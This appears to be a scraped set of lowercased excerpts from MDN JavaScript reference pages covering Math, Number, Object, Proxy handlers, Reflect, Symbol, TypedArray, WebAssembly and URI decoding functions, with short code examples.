...ents math.pow(4, 0.5); // 2 (square root of 4) math.pow(8, 1/3); // 2 (cube root of 8) math.pow(2, 0.5); // 1.4142135623730951 (square root of 2) math.pow(2, 1/3); // 1.2599210498948732 (cube root of 2) // signed exponents math.pow(7, -2); // 0.02040816326530612 (1/49) math.pow(8, -1/3); // 0.5 // signed bases math.pow(-7, 2); // 49 (squares are positive) math.pow(-7, 3); // -343 (cubes can be negative) math.pow(-7, 0.5); // nan (negative numbers don't have a real square root) // due to "even" and "odd" roots laying close to each other, // and limits in the floating number precision, // negative bases with fractional exponents always return nan math.pow(-7, 1/3); // nan specifications specification ecmascript (ecma-262)the definition of 'math.pow' in that speci...
...fication.
Math.round() - JavaScript
note that this differs from many languages' round() functions, which often round this case to the next integer away from zero, instead giving a different result in the case of negative numbers with a fractional part of exactly 0.5.
... because round() is a static method of math, you always use it as math.round(), rather than as a method of a math object you created (math has no constructor).
... examples using round math.round( 20.49); // 20 math.round( 20.5 ); // 21 math.round( 42 ); // 42 math.round(-20.5 ); // -20 math.round(-20.51); // -21 specifications specification ecmascript (ecma-262)the definition of 'math.round' in that specification.
Math.sinh() - JavaScript
the math.sinh() function returns the hyperbolic sine of a number, that can be expressed using the constant e: math.sinh(x)=ex-e-x2\mathtt{\operatorname{math.sinh(x)}} = \frac{e^x - e^{-x}}{2} the source for this interactive example is stored in a github repository.
... description because sinh() is a static method of math, you always use it as math.sinh(), rather than as a method of a math object you created (math is not a constructor).
... polyfill this can be emulated with the help of the math.exp() function: math.sinh = math.sinh || function(x) { return (math.exp(x) - math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.sinh = math.sinh || function(x) { var y = math.exp(x); return (y - 1 / y) / 2; } examples using math.sinh() math.sinh(0); // 0 math.sinh(1); // 1.1752011936438014 specifications specification ecmascript (ecma-262)the definition of 'math.sinh' in that specification.
Math.tan() - JavaScript
because tan() is a static method of math, you always use it as math.tan(), rather than as a method of a math object you created (math is not a constructor).
... examples using math.tan() math.tan(1); // 1.5574077246549023 because the math.tan() function accepts radians, but it is often easier to work with degrees, the following function accepts a value in degrees, converts it to radians and returns the tangent.
... function gettandeg(deg) { var rad = deg * math.pi/180; return math.tan(rad); } specifications specification ecmascript (ecma-262)the definition of 'math.tan' in that specification.
Math.tanh() - JavaScript
description because tanh() is a static method of math, you always use it as math.tanh(), rather than as a method of a math object you created (math is not a constructor).
... polyfill this can be emulated with the help of the math.exp() function: math.tanh = math.tanh || function(x){ var a = math.exp(+x), b = math.exp(-x); return a == infinity ?
...-1 : (a - b) / (a + b); } examples using math.tanh() math.tanh(0); // 0 math.tanh(infinity); // 1 math.tanh(1); // 0.7615941559557649 specifications specification ecmascript (ecma-262)the definition of 'math.tanh' in that specification.
Math.trunc() - JavaScript
it truncates (cuts off) the dot and the digits to the right of it, no matter whether the argument is a positive or negative number.
... because trunc() is a static method of math, you always use it as math.trunc(), rather than as a method of a math object you created (math is not a constructor).
...math.ceil(v) : math.floor(v); }; } examples using math.trunc() math.trunc(13.37); // 13 math.trunc(42.84); // 42 math.trunc(0.123); // 0 math.trunc(-0.123); // -0 math.trunc('-1.123'); // -1 math.trunc(nan); // nan math.trunc('foo'); // nan math.trunc(); // nan specifications specification ecmascript (ecma-262)the definition of 'math.trunc' in that specification.
Number.MAX_VALUE - JavaScript
because max_value is a static property of number, you always use it as number.max_value, rather than as a property of a number object you created.
...if the result is less than or equal to max_value, the func1 function is called; otherwise, the func2 function is called.
... if (num1 * num2 <= number.max_value) { func1(); } else { func2(); } specifications specification ecmascript (ecma-262)the definition of 'number.max_value' in that specification.
Number.MIN_SAFE_INTEGER - JavaScript
the reasoning behind that number is that javascript uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1.
... because min_safe_integer is a static property of number, you always use it as number.min_safe_integer, rather than as a property of a number object you created.
... examples using min_safe_integer number.min_safe_integer // -9007199254740991 -(math.pow(2, 53) - 1) // -9007199254740991 specifications specification ecmascript (ecma-262)the definition of 'number.min_safe_integer' in that specification.
Number.isInteger() - JavaScript
return value a boolean indicating whether or not the given value is an integer.
...the method will also return true for floating point numbers that can be represented as integer.
....isinteger(nan); // false number.isinteger(infinity); // false number.isinteger(-infinity); // false number.isinteger('10'); // false number.isinteger(true); // false number.isinteger(false); // false number.isinteger([1]); // false number.isinteger(5.0); // true number.isinteger(5.000000000000001); // false number.isinteger(5.0000000000000001); // true specifications specification ecmascript (ecma-262)the definition of 'number.isinteger' in that specification.
Number.parseFloat() - JavaScript
if a number cannot be parsed from the argument, it returns nan.
... or nan when the first non-whitespace character cannot be converted to a number.
... specifications specification ecmascript (ecma-262)the definition of 'number.parsefloat' in that specification.
Number.prototype.toExponential() - JavaScript
values between 0 and 20, inclusive, will not cause a rangeerror.
... if you use the toexponential() method for a numeric literal and the numeric literal has no exponent and no decimal point, leave whitespace(s) before the dot that precedes the method call to prevent the dot from being interpreted as a decimal point.
... examples using toexponential var numobj = 77.1234; console.log(numobj.toexponential()); // logs 7.71234e+1 console.log(numobj.toexponential(4)); // logs 7.7123e+1 console.log(numobj.toexponential(2)); // logs 7.71e+1 console.log(77.1234.toexponential()); // logs 7.71234e+1 console.log(77 .toexponential()); // logs 7.7e+1 specifications specification ecmascript (ecma-262)the definition of 'number.prototype.toexponential' in that specification.
Number.prototype.toSource() - JavaScript
examples native function for the built-in number object, tosource() returns the following string indicating that the source code is not available: function number() { [native code] } for instances of number, tosource() returns a string representing the source code.
... this method is usually called internally by javascript and not explicitly in web code.
... specifications not part of any standard.
Number.prototype.toString() - JavaScript
for radices above 10, the letters of the alphabet indicate numerals greater than 9.
...this is the case even if the radix is 2; the string returned is the positive binary representation of the numobj preceded by a - sign, not the two's complement of the numobj.
...et count = 10 console.log(count.tostring()) // displays '10' console.log((17).tostring()) // displays '17' console.log((17.2).tostring()) // displays '17.2' let x = 6 console.log(x.tostring(2)) // displays '110' console.log((254).tostring(16)) // displays 'fe' console.log((-10).tostring(2)) // displays '-1010' console.log((-0xff).tostring(2)) // displays '-11111111' specifications specification ecmascript (ecma-262)the definition of 'number.prototype.tostring' in that specification.
Object.prototype.__lookupSetter__() - JavaScript
description if a setter has been defined for an object's property, it was not possible to reference the setter function through that property, because that property refers to the return value of that function.
... __lookupsetter__ can be used to obtain a reference to the setter function.
... examples standard-compliant and non-standard ways to get a property setter var obj = { set foo(value) { this.bar = value; } }; // non-standard and deprecated way obj.__lookupsetter__('foo') // (function(value) { this.bar = value; }) // standard-compliant way object.getownpropertydescriptor(obj, 'foo').set; // (function(value) { this.bar = value; }) specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__lookupsetter__()' in that specification.
Object.getOwnPropertyDescriptor() - JavaScript
further information about property descriptor types and their attributes can be found in object.defineproperty().
...73, // writable: true // } o = {}; object.defineproperty(o, 'qux', { value: 8675309, writable: false, enumerable: false }); d = object.getownpropertydescriptor(o, 'qux'); // d is { // value: 8675309, // writable: false, // enumerable: false, // configurable: false // } non-object coercion in es5, if the first argument to this method is not an object (a primitive), then it will cause a typeerror.
... object.getownpropertydescriptor('foo', 0); // typeerror: "foo" is not an object // es5 code object.getownpropertydescriptor('foo', 0); // object returned by es2015 code: { // configurable: false, // enumerable: true, // value: "f", // writable: false // } specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertydescriptor' in that specification.
Object.prototype.isPrototypeOf() - JavaScript
return value a boolean indicating whether the calling object lies in the prototype chain of the specified object.
....prototype = object.create(bar.prototype); var baz = new baz(); console.log(baz.prototype.isprototypeof(baz)); // true console.log(bar.prototype.isprototypeof(baz)); // true console.log(foo.prototype.isprototypeof(baz)); // true console.log(object.prototype.isprototypeof(baz)); // true isprototypeof() method, along with the instanceof operator particularly comes in handy if you have code that can only function when dealing with objects descended from a specific prototype chain, e.g., to guarantee that certain methods or properties will be present on that object.
... for example, check if baz object descends from foo.prototype: if (foo.prototype.isprototypeof(baz)) { // do something safe } specifications specification ecmascript (ecma-262)the definition of 'object.prototype.isprototypeof' in that specification.
Object.isSealed() - JavaScript
return value a boolean indicating whether or not the given object is sealed.
...ealed); // === true // (all properties also non-writable) var s2 = object.seal({ p: 3 }); object.isfrozen(s2); // === false // ('p' is still writable) var s3 = object.seal({ get p() { return 0; } }); object.isfrozen(s3); // === true // (only configurability matters for accessor properties) non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror.
... object.issealed(1); // typeerror: 1 is not an object (es5 code) object.issealed(1); // true (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.issealed' in that specification.
Object.values() - JavaScript
polyfill to add compatible object.values support in older environments that do not natively support it, you can find a polyfill in the tc39/proposal-object-values-entries or in the es-shims/object.values repositories.
... examples using object.values const obj = { foo: 'bar', baz: 42 }; console.log(object.values(obj)); // ['bar', 42] // array-like object const arraylikeobj1 = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.values(arraylikeobj1 )); // ['a', 'b', 'c'] // array-like object with random key ordering // when using numeric keys, the values are returned in the keys' numerical order const arraylikeobj2 = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.values(arraylikeobj2 )); // ['b', 'c', 'a'] // getfoo is property which isn't enumerable const my_obj = object.create({}, { getfoo: { value: function() { return this.foo; } } }); my_obj.foo = 'bar'; console.log(object.values(my_obj)); // ['bar'] // non-object argument will be coerced to an object console.log(object.values('foo')); // ['f', 'o', '...
...o'] specifications specification ecmascript (ecma-262)the definition of 'object.values' in that specification.
Promise.race() - JavaScript
race this following example demonstrates the asynchronicity of promise.race: // we are passing as argument an array of promises that are already resolved, // to trigger promise.race as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.race(resolvedpromisesarray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function(){ console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 33 } an empty iterable causes the returned promise to be forever pending: var foreverpendingpromise = promise.race([]); console.log(foreverpendi...
.../ "two" // both fulfill, but p2 is faster }); var p3 = new promise(function(resolve, reject) { settimeout(() => resolve('three'), 100); }); var p4 = new promise(function(resolve, reject) { settimeout(() => reject(new error('four')), 500); }); promise.race([p3, p4]) .then(function(value) { console.log(value); // "three" // p3 is faster, so it fulfills }, function(reason) { // not called }); var p5 = new promise(function(resolve, reject) { settimeout(() => resolve('five'), 500); }); var p6 = new promise(function(resolve, reject) { settimeout(() => reject(new error('six')), 100); }); promise.race([p5, p6]) .then(function(value) { // not called }, function(error) { console.log(error.message); // "six" // p6 is faster, so it rejects }); specifications ...
... specification ecmascript (ecma-262)the definition of 'promise.race' in that specification.
handler.deleteProperty() - JavaScript
return value the deleteproperty() method must return a boolean indicating whether or not the property has been successfully deleted.
... interceptions this trap can intercept these operations: property deletion: delete proxy[foo] and delete proxy.foo reflect.deleteproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be deleted, if it exists as a non-configurable own property of the target object.
...roperty removed: ' + prop) return true } else { console.log('property not found: ' + prop) return false } } }) let result p.a = 10 console.log('a' in p) // true result = delete p.a // "property removed: a" console.log(result) // true console.log('a' in p) // false result = delete p.a // "property not found: a" console.log(result) // false specifications specification ecmascript (ecma-262)the definition of '[[delete]]' in that specification.
handler.isExtensible() - JavaScript
interceptions this trap can intercept these operations: object.isextensible() reflect.isextensible() invariants if the following invariants are violated, the proxy will throw a typeerror: object.isextensible(proxy) must return the same value as object.isextensible(target).
... const p = new proxy({}, { isextensible: function(target) { console.log('called'); return true; } }); console.log(object.isextensible(p)); // "called" // true the following code violates the invariant.
... const p = new proxy({}, { isextensible: function(target) { return false; } }); object.isextensible(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[isextensible]]' in that specification.
handler.ownKeys() - JavaScript
interceptions this trap can intercept these operations: object.getownpropertynames() object.getownpropertysymbols() object.keys() reflect.ownkeys() invariants if the following invariants are violated, the proxy will throw a typeerror: the result of ownkeys() must be an array.
... const p = new proxy({}, { ownkeys: function(target) { console.log('called'); return ['a', 'b', 'c']; } }); console.log(object.getownpropertynames(p)); // "called" // [ 'a', 'b', 'c' ] the following code violates an invariant.
... const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: true, value: 10 } ); const p = new proxy(obj, { ownkeys: function(target) { return [123, 12.5, true, false, undefined, null, {}, []]; } }); console.log(object.getownpropertynames(p)); // typeerror: proxy [[ownpropertykeys]] must return an array // with only string and symbol elements specifications specification ecmascript (ecma-262)the definition of '[[ownpropertykeys]]' in that specification.
handler.preventExtensions() - JavaScript
interceptions this trap can intercept these operations: object.preventextensions() reflect.preventextensions() invariants if the following invariants are violated, the proxy will throw a typeerror: object.preventextensions(proxy) only returns true if object.isextensible(proxy) is false.
... const p = new proxy({}, { preventextensions: function(target) { console.log('called'); object.preventextensions(target); return true; } }); console.log(object.preventextensions(p)); // "called" // false the following code violates the invariant.
... const p = new proxy({}, { preventextensions: function(target) { return true; } }); object.preventextensions(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[preventextensions]]' in that specification.
Reflect.get() - JavaScript
receiver optional the value of this provided for the call to target if a getter is encountered.
... when used with proxy, it can be an object that inherits from target.
... 'one'], 1) // "one" // proxy with a get handler let x = {p: 1}; let obj = new proxy(x, { get(t, k, r) { return k + 'bar' } }) reflect.get(obj, 'foo') // "foobar" //proxy with get handler and receiver let x = {p: 1, foo: 2}; let y = {foo: 3}; let obj = new proxy(x, { get(t, prop, receiver) { return receiver[prop] + 'bar' } }) reflect.get(obj, 'foo', y) // "3bar" specifications specification ecmascript (ecma-262)the definition of 'reflect.get' in that specification.
RegExpInstance.lastIndex - JavaScript
property attributes of regexpinstance.lastindex writable yes enumerable no configurable no description this property is set only if the regular expression instance used the g flag to indicate a global search, or the y flag to indicate a sticky search.
...in this case, the empty string because lastindex was 2 (and still is 2) and hi has length 2.
... specifications specification ecmascript (ecma-262)the definition of 'regexp.lastindex' in that specification.
RegExp.prototype.source - JavaScript
empty regular expressions and escaping starting with ecmascript 5, the source property no longer returns an empty string for empty regular expressions.
...in addition, line terminators (such as "\n") are escaped now.
... new regexp().source; // "(?:)" new regexp('\n').source === '\n'; // true, prior to es5 new regexp('\n').source === '\\n'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.source' in that specification.
RegExp.prototype.toSource() - JavaScript
examples native function for the built-in regexp object, tosource() returns the following string indicating that the source code is not available: function regexp() { [native code] } for instances of regexp, tosource() returns a string representing the source code.
... this method is usually called internally by javascript and not explicitly in web code.
... specifications not part of any standard.
Set.prototype.has() - JavaScript
the has() method returns a boolean indicating whether an element with the specified value exists in a set object or not.
... note: technically speaking, has() uses the samevaluezero algorithm to determine whether the given element is found.
... examples using the has method var myset = new set(); myset.add('foo'); myset.has('foo'); // returns true myset.has('bar'); // returns false var set1 = new set(); var obj1 = {'key1': 1}; set1.add(obj1); set1.has(obj1); // returns true set1.has({'key1': 1}); // returns false because they are different object references set1.add({'key1': 1}); // now set1 contains 2 entries specifications specification ecmascript (ecma-262)the definition of 'set.prototype.has' in that specification.
SharedArrayBuffer.prototype.byteLength - JavaScript
description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when the shared array is constructed and cannot be changed.
... examples using bytelength var sab = new sharedarraybuffer(1024); sab.bytelength; // 1024 specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.bytelength' in that specification.
SharedArrayBuffer.prototype.slice() - JavaScript
a negative index can be used, indicating an offset from the end of the sequence.
... a negative index can be used, indicating an offset from the end of the sequence.
... examples using slice var sab = new sharedarraybuffer(1024); sab.slice(); // sharedarraybuffer { bytelength: 1024 } sab.slice(2); // sharedarraybuffer { bytelength: 1022 } sab.slice(-2); // sharedarraybuffer { bytelength: 2 } sab.slice(0, 1); // sharedarraybuffer { bytelength: 1 } specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.slice' in that specification.
String.prototype.anchor() - JavaScript
also, the html specification no longer allows the <a> element to have a name attribute, so this method doesn't even create valid markup.
...also, the html specification no longer allows the <a> element to have a name attribute, so this method doesn't even create valid markup.
... examples using anchor() var mystring = 'table of contents'; document.body.innerhtml = mystring.anchor('contents_anchor'); will output the following html: <a name="contents_anchor">table of contents</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.anchor' in that specification.
String.prototype.blink() - JavaScript
the blink() method creates a <blink> html element that causes a string to blink.
...the <blink> element itself is non-standard and deprecated!
...mples using blink() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.blink' in that specification.
String.prototype.endsWith() - JavaScript
this method is case-sensitive.
... polyfill this method has been added to the ecmascript 6 specification and may not be available in all javascript implementations yet.
... however, you can polyfill string.prototype.endswith() with the following snippet: if (!string.prototype.endswith) { string.prototype.endswith = function(search, this_len) { if (this_len === undefined || this_len > this.length) { this_len = this.length; } return this.substring(this_len - search.length, this_len) === search; }; } examples using endswith() let str = 'to be, or not to be, that is the question.' console.log(str.endswith('question.')) // true console.log(str.endswith('to be')) // false console.log(str.endswith('to be', 19)) // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.endswith' in that specification.
String.prototype.link() - JavaScript
syntax str.link(url) parameters url any string that specifies the href attribute of the <a> tag; it should be a valid url (relative or absolute), with any & characters escaped as &amp;, and any " characters escaped as &quot;.
...the returned string can then be added to the document via document.write() or element.innerhtml.
... var hottext = 'mdn'; var url = 'https://developer.mozilla.org/'; console.log('click to return to ' + hottext.link(url)); // click to return to <a href="https://developer.mozilla.org/">mdn</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.link' in that specification.
Symbol.prototype[@@toPrimitive] - JavaScript
javascript calls the [@@toprimitive]() method to convert an object to a primitive value.
... you rarely need to invoke the [@@toprimitive]() method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected.
... examples using @@toprimitive const sym = symbol("example"); sym === sym[symbol.toprimitive](); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.@@toprimitive' in that specification.
Symbol.prototype.description - JavaScript
description symbol objects can be created with an optional description which can be used for debugging but not to access the symbol itself.
... the symbol.prototype.description property can be used to read that description.
...c').tostring(); // "symbol(desc)" symbol('desc').description; // "desc" symbol('').description; // "" symbol().description; // undefined // well-known symbols symbol.iterator.tostring(); // "symbol(symbol.iterator)" symbol.iterator.description; // "symbol.iterator" // global symbols symbol.for('foo').tostring(); // "symbol(foo)" symbol.for('foo').description; // "foo" specifications specification ecmascript (ecma-262)the definition of 'get symbol.prototype.description' in that specification.
Symbol.iterator - JavaScript
description whenever an object needs to be iterated (such as at the beginning of a for..of loop), its @@iterator method is called with no arguments, and the returned iterator is used to obtain the values to be iterated.
... property attributes of symbol.iterator writable no enumerable no configurable no examples user-defined iterables we can make our own iterables like this: var myiterable = {} myiterable[symbol.iterator] = function* () { yield 1; yield 2; yield 3; }; [...myiterable] // [1, 2, 3] or iterables can be defined directly inside a class or object using a computed property: class foo { *[symbol.iterator] () { yield 1; yield 2; yield 3; } } const someobj = { *[symbol.iterator] () { yie...
...using it as such is likely to result in runtime exceptions or buggy behavior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a function specifications specification ecmascript (ecma-262)the definition of 'symbol.iterator' in that specification.
Symbol.matchAll - JavaScript
this function is called by the string.prototype.matchall() method.
... description this symbol is used for string.prototype.matchall() and specifically in regexp.prototype[@@matchall]().
... specifications specification ecmascript (ecma-262)the definition of 'symbol.matchall' in that specification.
Symbol.prototype.toSource() - JavaScript
this method is usually called internally by javascript.
... examples native function for the built-in symbol object, tosource returns the following string indicating that the source code is not available: "function symbol() { [native code] }" for instances of symbol, tosource returns a string representing the source code.
... "symbol()" specifications not part of any standard.
Symbol.prototype.valueOf() - JavaScript
javascript calls the valueof method to convert an object to a primitive value.
... you rarely need to invoke the valueof method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected.
... examples using valueof const sym = symbol("example"); sym === sym.valueof(); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.valueof' in that specification.
SyntaxError() constructor - JavaScript
the syntaxerror constructor creates a new error object that represents an error when trying to interpret syntactically invalid code.
... syntax new syntaxerror([message[, filename[, linenumber]]]) parameters message optional human-readable description of the error filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples catching a syntaxerror try { eval('hoo bar'); } catch (e) { console.error(e instanceof syntaxerror); console.error(e.message); console.error(e.name); console.error(e.filename); console.error(e.linenumber); console.error(e.columnnumber); console.error(e.stack); } creating a syntaxerror try { throw new syntaxerror('hello', 'somefile.js', 10); } catch (e) { console.error(e instanceof syntaxerror); // true console.error(e.message); // hello conso...
...le.error(e.name); // syntaxerror console.error(e.filename); // somefile.js console.error(e.linenumber); // 10 console.error(e.columnnumber); // 0 console.error(e.stack); // @debugger eval code:3:9 } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
SyntaxError - JavaScript
the syntaxerror object represents an error when trying to interpret syntactically invalid code.
... examples catching a syntaxerror try { eval('hoo bar'); } catch (e) { console.error(e instanceof syntaxerror); console.error(e.message); console.error(e.name); console.error(e.filename); console.error(e.linenumber); console.error(e.columnnumber); console.error(e.stack); } creating a syntaxerror try { throw new syntaxerror('hello', 'somefile.js', 10); } catch (e) { console.error(e insta...
...nceof syntaxerror); // true console.error(e.message); // hello console.error(e.name); // syntaxerror console.error(e.filename); // somefile.js console.error(e.linenumber); // 10 console.error(e.columnnumber); // 0 console.error(e.stack); // @debugger eval code:3:9 } specifications specification ecmascript (ecma-262)the definition of 'syntaxerror' in that specification.
TypedArray.prototype.buffer - JavaScript
description the buffer property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when the typedarray is constructed and cannot be changed.
... examples using the buffer property var buffer = new arraybuffer(8); var uint16 = new uint16array(buffer); uint16.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.buffer' in that specification.
TypedArray.prototype.byteLength - JavaScript
description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when a typedarray is constructed and cannot be changed.
... using the bytelength property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.bytelength; // 8 (matches the bytelength of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.bytelength; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.bytelength; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.bytelength' in that specification.
TypedArray.prototype.byteOffset - JavaScript
description the byteoffset property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when a typedarray is constructed and cannot be changed.
... examples using the byteoffset property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.byteoffset; // 0 (no offset specified) var uint8 = new uint8array(buffer, 3); uint8.byteoffset; // 3 (as specified when constructing uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.byteoffset' in that specification.
TypedArray.prototype.length - JavaScript
description the length property is an accessor property whose set accessor function is undefined, meaning that you can only read this property.
... the value is established when a typedarray is constructed and cannot be changed.
... examples using the length property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.length; // 8 (matches the length of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.length; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.length; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.length' in that specification.
TypedArray.name - JavaScript
the first part can be int for "integer" or uint for an "unsigned integer", also float for "floating point" is used.
...finally, the object type is array, with clampedarray as a special case.
...amples using name int8array.name; // "int8array" uint8array.name; // "uint8array" uint8clampedarray.name; // "uint8clampedarray" int16array.name; // "int16array" uint16array.name; // "uint16array" int32array.name; // "int32array" uint32array.name; // "uint32array" float32array.name; // "float32array" float64array.name; // "float64array" specifications specification ecmascript (ecma-262)the definition of 'typedarray.name' in that specification.
WebAssembly.Instance() constructor - JavaScript
syntax important: since instantiation for large modules can be expensive, developers should only use the instance() constructor when synchronous instantiation is absolutely required; the asynchronous webassembly.instantiatestreaming() method should be used at all other times.
... examples synchronously instantiating a webassembly module the webassembly.instance() constructor function can be called to synchronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassembly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.expo...
...ported_func(); }) however, the preferred way to get an instance is through the asynchronous webassembly.instantiatestreaming() function, for example like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); specifications specification webassembly javascript interfacethe definition of 'instance' in that specification.
WebAssembly.Instance.prototype.exports - JavaScript
we then call an exported webassembly function that is exported by the instance.
... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); note: you can also find this example as instantiate-streaming.html on github (view it live also).
... specifications specification webassembly javascript interfacethe definition of 'webassembly.instance: exports' in that specification.
WebAssembly.Instance - JavaScript
instance objects contain all the exported webassembly functions that allow calling into webassembly code from javascript.
... examples synchronously instantiating a webassembly module the webassembly.instance() constructor function can be called to synchronously instantiate a given webassembly.module object, for example: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassembly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.expo...
... specifications specification webassembly javascript interfacethe definition of 'instance' in that specification.
WebAssembly.Memory() constructor - JavaScript
syntax new webassembly.memory(memorydescriptor); parameters memorydescriptor an object that can contain the following members: initial the initial size of the webassembly memory, in units of webassembly pages.
...you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared:true}); this memory's buffer property will return a sharedarraybuffer.
... specifications specification webassembly javascript interfacethe definition of 'memory' in that specification.
WebAssembly.RuntimeError - JavaScript
examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the ...
...code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror' in that specification.
WebAssembly.Table.prototype.set() - JavaScript
at are now stored in the table (the table2.wasm module (see text representation) adds two function references to the table, both of which print out a simple value): webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g.
... this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too.
... specifications specification webassembly javascript interfacethe definition of 'set()' in that specification.
WebAssembly.compile() - JavaScript
this function is useful if it is necessary to a compile a module before it can be instantiated (otherwise, the webassembly.instantiate() function should be used).
... var worker = new worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile().
... specifications specification webassembly javascript interfacethe definition of 'compile()' in that specification.
WebAssembly.compileStreaming() - JavaScript
this function is useful if it is necessary to a compile a module before it can be instantiated (otherwise, the webassembly.instantiatestreaming() function should be used).
...because the compilestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills.
... specifications specification webassembly features for web embeddingthe definition of 'compilestreaming()' in that specification.
decodeURI() - JavaScript
description replaces each escape sequence in the encoded uri with the character that it represents, but does not decode escape sequences that could not have been introduced by encodeuri.
... the character “#” is not decoded from escape sequences.
... examples decoding a cyrillic url decodeuri('https://developer.mozilla.org/ru/docs/javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "https://developer.mozilla.org/ru/docs/javascript_шеллы" catching errors try { var a = decodeuri('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence specifications specification ecmascript (ecma-262)the definition of 'decodeuri' in that specification.
decodeURIComponent() - JavaScript
description replaces each escape sequence in the encoded uri component with the character that it represents.
... examples decoding a cyrillic url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a url decodeuricomponent cannot be used directly to parse query parameters from a url.
... function decodequeryparam(p) { return decodeuricomponent(p.replace(/\+/g, ' ')); } decodequeryparam('search+query%20%28correct%29'); // 'search query (correct)' specifications specification ecmascript (ecma-262)the definition of 'decodeuricomponent' in that specification.
Comma operator (,) - JavaScript
usage notes you can use the comma operator when you want to include multiple expressions in a location that requires a single expression.
